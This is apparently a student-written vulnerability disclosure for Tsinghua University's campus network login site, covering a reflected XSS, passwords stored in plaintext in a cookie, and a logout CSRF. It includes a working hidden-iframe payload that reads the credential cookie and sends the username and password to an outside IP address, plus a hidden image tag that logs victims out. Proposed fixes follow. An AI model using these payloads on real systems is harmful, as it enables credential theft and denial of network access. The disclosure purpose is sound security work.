net.tsinghua.edu.cn的漏洞利用

> 计42 靳子豪
>
> 计64 翁家翌

漏洞概览

1. net.tsinghua.edu.cn允许跳转url，格式为`http://net.tsinghua.edu.cn/wireless/?url=xxx`，url选项可以插入javascript代码并执行，造成了反射型XSS
2. net.tsinghua.edu.cn如果之前点击了`保存密码`的选项，则浏览器会存储明文用户名和密码至cookie中，格式为`tunet=username%0Apassword`；
3. `net.tsinghua.edu.cn/do_login.php?action=logout`未对用户身份进行认证，造成了CSRF

攻击代码

```
<iframe src="http://net.tsinghua.edu.cn/wireless/?url=javascript:(cdt=('%3B
'+document.cookie).split('%3B
tunet=').pop().split('%3B').shift().split('%25'+'0A'),xmlHttp=new XMLHttpRequest(),
xmlHttp.open('GET','http://183.173.32.40/static.php?
usr='+cdt[0]+'%26dwp='+cdt[1],false),xmlHttp.send(null))"   style="display:none"></iframe>
```

使用隐藏的iframe插入到任意网站W中，如果受害者从清华校内网访问了网站W，并且在设备中使用过net.tsinghua.edu.cn的网页版保存密码选项，则该恶意代码会窃取账号和密码发送至攻击者的网站服务器中。

该攻击代码只会对浏览器造成攻击（如果浏览器保存了密码），对于使用客户端进行登录的用户则不会被攻击。

```
<img src="http://net.tsinghua.edu.cn/do_login.php?action=logout"   style="display:none"></img>
```

使用隐藏的标签插入到任意网站、论坛、邮件中，使受害者向`http://net.tsinghua.edu.cn/do_login.php?action=logout`发出http请求，可以使用户登出校园网，失去外网连接。

实例演示

见`net2.mp4`

实际测试

在任意浏览器的任意被插入恶意代码的网站均成功。还能够发送钓鱼邮件，一旦受害者点击邮件中的连接，后果不堪设想。

可能的修复方案

1.

```
* 修改`http://net.tsinghua.edu.cn/wireless/?url=xxx` 的登录后自动跳转功能，将目前的JavaScript前端跳转（`window.location=`）改为PHP的后端跳转（`header('Location: ');`），避免用户输入的跳转地址被注入到页面中。
* 或
* 对`url`参数进行过滤，过滤掉`javascript:`（或所有非`http:`）的URL Scheme
```

2.

```
* 强制使用https访问`net.tsinghua.edu.cn`，防止该cookie被中间人截获
* 将保存用户密码的cookie设置为`httpOnly`，防止JavaScript脚本读取该cookie内容
* 或
* 直接禁用“记住密码”功能，主流浏览器内置的“记住密码”功能也可达到同样效果
```

3.

```
* 在断开连接时增加对用户的身份认证
* 或
* 直接禁用`net.tsinghua.edu.cn`的“断开连接”功能，让用户转到`usereg.tsinghua.edu.cn`来下线连接
```

一个小小的要求

修完漏洞之后能不能给一些奖励比如纸质证书证明之类的……？